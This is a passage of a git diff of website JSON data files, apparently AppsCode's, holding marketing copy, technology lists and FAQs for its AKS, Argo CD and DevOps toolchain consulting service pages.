Finance", + "description": "Highly available, compliant systems for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize systems for inspections, monitoring, and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Use cloud GPU instances for fast, secure processing of patient data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and instant updates with scalable systems." + } + ] + }, + "tech_stack": { + "title": "Our AKS Technology Expertise", + "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade AKS consulting services.", + "technologies": [ + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with AKS Consulting Services?", + "subtitle": "Get expert AKS consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to an AKS Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right AKS Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Azure Marketplace Partner", + "description": "AppsCode is listed on the Azure Marketplace with AppsCode Cloud for AKS-based cluster management and database provisioning." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class AKS Expertise", + "description": "50+ engineers specializing in AKS, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise on AKS." + }, + { + "icon": "fa fa-graduation-cap", + "title": "AKS Training Programs", + "description": "Hands-on AKS workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode's AKS experts." + } + ] + }, + "partner_listing": { + "title": "Our Products on Azure Marketplace", + "subtitle": "AppsCode is an Azure Marketplace partner. Deploy and manage production-grade databases on AKS clusters directly from Azure Marketplace.", + "products": [ + { + "name": "AppsCode Cloud on Azure", + "description": "Kubernetes Native Data Platform — deploy a central management console for all your AKS clusters to provision and manage production-grade databases.", + "url": "https://azuremarketplace.microsoft.com/en-us/marketplace/apps/appscode.ace_payg", + "logo": "/assets/images/technical-expertise/kubedb.svg" + } + ] + }, + "faq": [ + { + "question": "What do your AKS Consulting Services include?", + "answer": "Our AKS Consulting Services cover the full lifecycle of designing, deploying, and managing AKS clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Azure AKS." + }, + { + "question": "Is AppsCode available on Azure Marketplace?", + "answer": "Yes — AppsCode is listed on the Azure Marketplace with AppsCode Cloud, a Kubernetes Native Data Platform for AKS-based cluster management. Visit azuremarketplace.microsoft.com/en-us/marketplace/apps/appscode.ace_payg to view our offering." + }, + { + "question": "Which technologies and practices are used in AKS consulting?", + "answer": "We leverage AKS, Terraform, Bicep, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (Azure Monitor, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient AKS environments." + }, + { + "question": "Can you work with our existing AKS clusters or Azure-native stack?", + "answer": "Yes — we integrate with your current AKS clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable AKS deployments." + }, + { + "question": "What is the typical timeline and engagement model for AKS Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term AKS advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud AKS deployments?", + "answer": "Absolutely. Our AKS Consulting Services are designed for portability and consistency across Azure and other cloud environments, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in AKS?", + "answer": "We enforce security best practices including Azure AD integration, RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after AKS consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our AKS Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do AKS Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/argo_cd_consulting_support.json b/data/services/application-modernization/argo_cd_consulting_support.json index 6eab8b21d5..709abd3ae3 100644 --- a/data/services/application-modernization/argo_cd_consulting_support.json +++ b/data/services/application-modernization/argo_cd_consulting_support.json @@ -1,297 +1,297 @@ -{ - "hero": { - "title": "Enterprise Argo CD Consulting & GitOps Implementation Experts", - "subtitle": "Accelerate your Kubernetes delivery pipelines with our enterprise-grade Argo CD consulting, implementation, and managed support services.", - "cta_text": "Talk to an Argo CD Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/argo-cd-consulting-implementation.png", - "alt": "Argo CD Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Cloud-Native Enterprises" - }, - "title_with_small_cards": { - "title": "Key Benefits of Argo CD Consulting Services", - "areas": [ - { - "icon": "fa fa-cogs", - "title": "Declarative App Management & Environments" - }, - { - "icon": "fa fa-code-fork", - "title": "Version-Controlled GitOps Workflows" - }, - { - "icon": "fa fa-clock-o", - "title": "Continuous Delivery with Full Auditability" - }, - { - "icon": "fa fa-thumbs-up", - "title": "Transparent & Scalable Implementations" - }, - { - "icon": "fa fa-rocket", - "title": "Automated Rollouts & Rollbacks" - }, - { - "icon": "fa fa-lock", - "title": "Enterprise-Grade Security & Compliance" - } - ] - }, - "service_details": { - "title": "Comprehensive Argo CD Consulting & Implementation Services", - "subtitle": "Empower your DevOps teams to achieve GitOps excellence with our certified Kubernetes and Argo CD consultants.", - "sections": [ - { - "title": "End-to-End Argo CD Consulting & Setup", - "description": "Our experts help organizations adopt Argo CD seamlessly — from environment assessment to deployment automation — ensuring consistency, visibility, and faster release cycles across all Kubernetes clusters.", - "offerings": [ - "Analyze your current CI/CD ecosystem and design an Argo CD architecture tailored to your needs.", - "Deploy and configure Argo CD for multi-cluster and hybrid environments.", - "Integrate with Git, Helm, Kustomize, and other DevOps tools for unified GitOps workflows.", - "Implement automated sync policies and declarative configurations.", - "Enable secure access with SSO integrations (OIDC, OAuth2, LDAP, SAML 2.0)." - ], - "image": "/assets/images/services/argo-cd-consulting-implementation-service.png" - }, - { - "title": "GitOps Enablement Using Argo CD", - "description": "Adopt GitOps principles to simplify Kubernetes application delivery and configuration management. Our Argo CD consulting experts ensure your infrastructure state is version-controlled and continuously reconciled.", - "offerings": [ - "Implement GitOps pipelines with automated synchronization and policy enforcement.", - "Visualize app health, manage drift, and roll back safely when needed.", - "Optimize infrastructure as code for better reliability and traceability.", - "Ensure consistent deployments across multiple clusters and environments." - ], - "image": "/assets/images/services/argo-cd-gitops-service.png" - }, - { - "title": "Secure Multi-Tenancy Configuration", - "description": "We help you design and implement secure multi-tenancy setups with role-based access controls and namespace isolation for enterprise-scale Argo CD deployments.", - "offerings": [ - "Isolate projects and namespaces for different teams or departments.", - "Define custom RBAC policies for controlled access management.", - "Enforce compliance by restricting repository and cluster access." - ], - "image": "/assets/images/services/argo-cd-multi-tenancy-service.png" - }, - { - "title": "Argo CD Training & Managed Support", - "description": "Our managed Argo CD services ensure your GitOps pipelines run flawlessly. We also provide training for teams to maintain, monitor, and optimize Argo CD deployments.", - "offerings": [ - "Enterprise-grade support for installation, configuration, and upgrades.", - "Post-implementation training to build internal GitOps expertise.", - "Continuous monitoring and optimization for performance and reliability." - ], - "image": "/assets/images/services/argo-cd-training-support-service.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Argo CD Adoption", - "subtitle": "We provide Argo CD consulting services tailored for your industry, ensuring compliance, scalability, and operational excellence.", - "additional_text": "From regulated enterprises to agile startups, we help organizations automate their Kubernetes delivery pipelines with Argo CD and GitOps best practices.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Ensure highly available, compliant systems for 24/7 transactions and payment processing." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage high-performance cloud infrastructure for SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize operations with better inspections, resource monitoring, and cost optimization." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data efficiently to meet evolving healthcare demands." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations with instant updates using scalable, cost-effective systems." - } - ] - }, - "tech_stack": { - "title": "Technical Expertise", - "subtitle": "Our certified Kubernetes consultants excel in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Looking for Enterprise Argo CD Support?", - "subtitle": "Explore our Argo CD enterprise capabilities, from consulting and implementation to managed support, for efficient and secure deployments without direct Kubernetes access.", - "buttons": [ - { - "text": "Discuss Argo CD Support", - "icon": "fa fa-calendar", - "type": "outlined", - "url": "https://appscode.com/contact/" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Argo CD Consulting Services?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class Kubernetes Expertise", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven GitOps Expertise", - "description": "Backed by 100+ successful enterprise DevOps and GitOps implementations across industries." - }, - { - "icon": "fa fa-trophy", - "title": "Pioneer in Kubernetes Services", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Comprehensive Training Programs", - "description": "Hands-on Argo CD training with real-world GitOps use cases and best practices." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Flexible Team Augmentation", - "description": "Easily scale your DevOps teams with AppsCode’s on-demand engineering resources." - } - ] - }, - "faq": [ - { - "question": "What do your Argo CD Consulting Services include?", - "answer": "Our Argo CD Consulting Services help organizations implement GitOps workflows for Kubernetes using Argo CD. We cover setup, configuration, pipeline automation, deployment strategies, monitoring, and rollback mechanisms to enable reliable, version-controlled, and automated application delivery." - }, - { - "question": "Which technologies and practices are used in Argo CD consulting?", - "answer": "We leverage Argo CD, Git repositories as the source of truth, Kubernetes, Helm charts, Kustomize, CI/CD pipelines, and observability tools. Our approach ensures declarative deployments, automated rollouts, and seamless integration with cloud-native infrastructures." - }, - { - "question": "Can you work with our existing Kubernetes clusters and applications?", - "answer": "Yes — we integrate Argo CD with your current clusters and workloads, optimize deployment processes, implement GitOps best practices, and ensure your applications are deployed consistently and safely across environments." - }, - { - "question": "What is the typical timeline and engagement model for Argo CD Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment to evaluate your current workflows and infrastructure. Implementation follows in 4–8 week agile sprints. We offer fixed-scope projects, time-and-materials consulting, or long-term Argo CD advisory partnerships." - }, - { - "question": "Do Argo CD Consulting Services support multi-cloud or hybrid cloud deployments?", - "answer": "Absolutely. Our services are designed to work across on-premises Kubernetes clusters as well as public clouds like AWS, Azure, and GCP, ensuring consistent and reliable application delivery across multiple environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency with Argo CD?", - "answer": "We enforce RBAC, secrets management, automated testing, monitoring, and rollback strategies. These measures ensure secure, reliable, and efficient GitOps-driven deployments using Argo CD." - }, - { - "question": "What happens after Argo CD consulting and implementation?", - "answer": "After implementation, we provide ongoing operational guidance, monitoring, performance tuning, and training for your teams. Our Argo CD Consulting Services also include best practice documentation and continuous improvement recommendations." - }, - { - "question": "How much do Argo CD Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on cluster complexity, number of workloads, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Enterprise Argo CD Consulting & GitOps Implementation Experts", + "subtitle": "Accelerate your Kubernetes delivery pipelines with our enterprise-grade Argo CD consulting, implementation, and managed support services.", + "cta_text": "Talk to an Argo CD Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/argo-cd-consulting-implementation.png", + "alt": "Argo CD Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Cloud-Native Enterprises" + }, + "title_with_small_cards": { + "title": "Key Benefits of Argo CD Consulting Services", + "areas": [ + { + "icon": "fa fa-cogs", + "title": "Declarative App Management & Environments" + }, + { + "icon": "fa fa-code-fork", + "title": "Version-Controlled GitOps Workflows" + }, + { + "icon": "fa fa-clock-o", + "title": "Continuous Delivery with Full Auditability" + }, + { + "icon": "fa fa-thumbs-up", + "title": "Transparent & Scalable Implementations" + }, + { + "icon": "fa fa-rocket", + "title": "Automated Rollouts & Rollbacks" + }, + { + "icon": "fa fa-lock", + "title": "Enterprise-Grade Security & Compliance" + } + ] + }, + "service_details": { + "title": "Comprehensive Argo CD Consulting & Implementation Services", + "subtitle": "Empower your DevOps teams to achieve GitOps excellence with our certified Kubernetes and Argo CD consultants.", + "sections": [ + { + "title": "End-to-End Argo CD Consulting & Setup", + "description": "Our experts help organizations adopt Argo CD seamlessly — from environment assessment to deployment automation — ensuring consistency, visibility, and faster release cycles across all Kubernetes clusters.", + "offerings": [ + "Analyze your current CI/CD ecosystem and design an Argo CD architecture tailored to your needs.", + "Deploy and configure Argo CD for multi-cluster and hybrid environments.", + "Integrate with Git, Helm, Kustomize, and other DevOps tools for unified GitOps workflows.", + "Implement automated sync policies and declarative configurations.", + "Enable secure access with SSO integrations (OIDC, OAuth2, LDAP, SAML 2.0)." + ], + "image": "/assets/images/services/argo-cd-consulting-implementation-service.png" + }, + { + "title": "GitOps Enablement Using Argo CD", + "description": "Adopt GitOps principles to simplify Kubernetes application delivery and configuration management. Our Argo CD consulting experts ensure your infrastructure state is version-controlled and continuously reconciled.", + "offerings": [ + "Implement GitOps pipelines with automated synchronization and policy enforcement.", + "Visualize app health, manage drift, and roll back safely when needed.", + "Optimize infrastructure as code for better reliability and traceability.", + "Ensure consistent deployments across multiple clusters and environments." + ], + "image": "/assets/images/services/argo-cd-gitops-service.png" + }, + { + "title": "Secure Multi-Tenancy Configuration", + "description": "We help you design and implement secure multi-tenancy setups with role-based access controls and namespace isolation for enterprise-scale Argo CD deployments.", + "offerings": [ + "Isolate projects and namespaces for different teams or departments.", + "Define custom RBAC policies for controlled access management.", + "Enforce compliance by restricting repository and cluster access." + ], + "image": "/assets/images/services/argo-cd-multi-tenancy-service.png" + }, + { + "title": "Argo CD Training & Managed Support", + "description": "Our managed Argo CD services ensure your GitOps pipelines run flawlessly. We also provide training for teams to maintain, monitor, and optimize Argo CD deployments.", + "offerings": [ + "Enterprise-grade support for installation, configuration, and upgrades.", + "Post-implementation training to build internal GitOps expertise.", + "Continuous monitoring and optimization for performance and reliability." + ], + "image": "/assets/images/services/argo-cd-training-support-service.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Argo CD Adoption", + "subtitle": "We provide Argo CD consulting services tailored for your industry, ensuring compliance, scalability, and operational excellence.", + "additional_text": "From regulated enterprises to agile startups, we help organizations automate their Kubernetes delivery pipelines with Argo CD and GitOps best practices.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Ensure highly available, compliant systems for 24/7 transactions and payment processing." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage high-performance cloud infrastructure for SaaS platforms." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize operations with better inspections, resource monitoring, and cost optimization." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data efficiently to meet evolving healthcare demands." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations with instant updates using scalable, cost-effective systems." + } + ] + }, + "tech_stack": { + "title": "Technical Expertise", + "subtitle": "Our certified Kubernetes consultants excel in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Looking for Enterprise Argo CD Support?", + "subtitle": "Explore our Argo CD enterprise capabilities, from consulting and implementation to managed support, for efficient and secure deployments without direct Kubernetes access.", + "buttons": [ + { + "text": "Discuss Argo CD Support", + "icon": "fa fa-calendar", + "type": "outlined", + "url": "https://appscode.com/contact/" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Argo CD Consulting Services?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class Kubernetes Expertise", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven GitOps Expertise", + "description": "Backed by 100+ successful enterprise DevOps and GitOps implementations across industries." + }, + { + "icon": "fa fa-trophy", + "title": "Pioneer in Kubernetes Services", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Comprehensive Training Programs", + "description": "Hands-on Argo CD training with real-world GitOps use cases and best practices." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Flexible Team Augmentation", + "description": "Easily scale your DevOps teams with AppsCode’s on-demand engineering resources." + } + ] + }, + "faq": [ + { + "question": "What do your Argo CD Consulting Services include?", + "answer": "Our Argo CD Consulting Services help organizations implement GitOps workflows for Kubernetes using Argo CD. We cover setup, configuration, pipeline automation, deployment strategies, monitoring, and rollback mechanisms to enable reliable, version-controlled, and automated application delivery." + }, + { + "question": "Which technologies and practices are used in Argo CD consulting?", + "answer": "We leverage Argo CD, Git repositories as the source of truth, Kubernetes, Helm charts, Kustomize, CI/CD pipelines, and observability tools. Our approach ensures declarative deployments, automated rollouts, and seamless integration with cloud-native infrastructures." + }, + { + "question": "Can you work with our existing Kubernetes clusters and applications?", + "answer": "Yes — we integrate Argo CD with your current clusters and workloads, optimize deployment processes, implement GitOps best practices, and ensure your applications are deployed consistently and safely across environments." + }, + { + "question": "What is the typical timeline and engagement model for Argo CD Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment to evaluate your current workflows and infrastructure. Implementation follows in 4–8 week agile sprints. We offer fixed-scope projects, time-and-materials consulting, or long-term Argo CD advisory partnerships." + }, + { + "question": "Do Argo CD Consulting Services support multi-cloud or hybrid cloud deployments?", + "answer": "Absolutely. Our services are designed to work across on-premises Kubernetes clusters as well as public clouds like AWS, Azure, and GCP, ensuring consistent and reliable application delivery across multiple environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency with Argo CD?", + "answer": "We enforce RBAC, secrets management, automated testing, monitoring, and rollback strategies. These measures ensure secure, reliable, and efficient GitOps-driven deployments using Argo CD." + }, + { + "question": "What happens after Argo CD consulting and implementation?", + "answer": "After implementation, we provide ongoing operational guidance, monitoring, performance tuning, and training for your teams. Our Argo CD Consulting Services also include best practice documentation and continuous improvement recommendations." + }, + { + "question": "How much do Argo CD Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on cluster complexity, number of workloads, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/build_devops_toolchain.json b/data/services/application-modernization/build_devops_toolchain.json index 738ad5d528..0c74dea694 100644 --- a/data/services/application-modernization/build_devops_toolchain.json +++ b/data/services/application-modernization/build_devops_toolchain.json @@ -1,296 +1,296 @@ -{ - "hero": { - "title": "DevOps Toolchain Consulting & Implementation Services", - "subtitle": "Design, automate, and optimize your CI/CD pipelines with a cloud-native DevOps toolchain built for speed, scalability, and security.", - "cta_text": "Talk to a DevOps Toolchain Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/devops-toolchain-consulting-hero.png", - "alt": "DevOps Toolchain Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Invest in DevOps Toolchain Consulting?", - "areas": [ - { - "icon": "fa fa-code", - "title": "Automated CI/CD Workflows" - }, - { - "icon": "fa fa-users", - "title": "Improved Collaboration Between Dev & Ops" - }, - { - "icon": "fa fa-clock-o", - "title": "Accelerated Software Delivery" - }, - { - "icon": "fa fa-bug", - "title": "Enhanced Testing & Quality Assurance" - }, - { - "icon": "fa fa-cogs", - "title": "Reduced Deployment Risks" - }, - { - "icon": "fa fa-database", - "title": "Consistent & Reliable Releases" - } - ] - }, - "service_details": { - "title": "Our DevOps Toolchain Consulting Services", - "subtitle": "We design, integrate, and manage DevOps toolchains that empower teams to automate end-to-end software delivery pipelines.", - "sections": [ - { - "title": "Toolchain Assessment & Gap Analysis", - "description": "Our DevOps experts evaluate your current toolchain, analyze performance bottlenecks, and recommend improvements for a fully automated CI/CD ecosystem.", - "offerings": [ - "Comprehensive audit of your DevOps processes and automation maturity.", - "Identify gaps between your current setup and modern DevOps standards.", - "Recommend tool integration strategies for faster deployments.", - "Benchmark against leading practices from CNCF and GitLab ecosystems." - ], - "image": "/assets/images/services/toolchain-analysis.png" - }, - { - "title": "DevOps Toolchain Design & Implementation", - "description": "We build or optimize your toolchain architecture—integrating the best tools like Jenkins, ArgoCD, GitLab CI/CD, and Terraform to streamline workflows.", - "offerings": [ - "Custom DevOps toolchain design aligned with your cloud strategy.", - "Integrate open-source and enterprise-grade DevOps tools seamlessly.", - "Automate code builds, tests, and deployments for continuous delivery.", - "Ensure cloud-native compatibility with Kubernetes, Helm, and Kustomize." - ], - "image": "/assets/images/services/process-design-implementation.png" - }, - { - "title": "DevOps Training & Enablement", - "description": "Empower your teams to manage, monitor, and evolve your toolchain with confidence and consistency.", - "offerings": [ - "Hands-on training on tools like ArgoCD, Jenkins, GitHub Actions, and Terraform.", - "Guidance on GitOps adoption for improved reliability and observability.", - "Create in-house DevOps champions through role-based workshops." - ], - "image": "/assets/images/services/toolchain-training.png" - }, - { - "title": "Managed DevOps Toolchain Services", - "description": "We handle your DevOps toolchain operations end-to-end — from configuration and monitoring to optimization and updates.", - "offerings": [ - "24/7 toolchain monitoring and maintenance.", - "Proactive updates and patch management to minimize disruptions.", - "Support for hybrid, multi-cloud, and on-prem DevOps environments.", - "Leverage our [Kubernetes Consulting](https://appscode.com/services/kubernetes-consulting/) and [GitOps Services](https://appscode.com/services/gitops-consulting/) for complete cloud-native automation." - ], - "image": "/assets/images/services/managed-devops-services.png" - } - ] - }, - "industries": { - "title": "DevOps Toolchain Expertise Across Industries", - "subtitle": "From startups to global enterprises, our DevOps consulting services drive automation, scalability, and reliability.", - "additional_text": "We bring deep domain experience in critical sectors with strict compliance and uptime requirements.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Ensure highly available, compliant systems for 24/7 transaction processing and payments." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage high-performance cloud infrastructure efficiently." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet rising customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize operations for inspections, resource monitoring, and cost optimization." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data efficiently to meet rapidly evolving healthcare demands." - }, - { - "icon": "fa fa-plane", - "title": 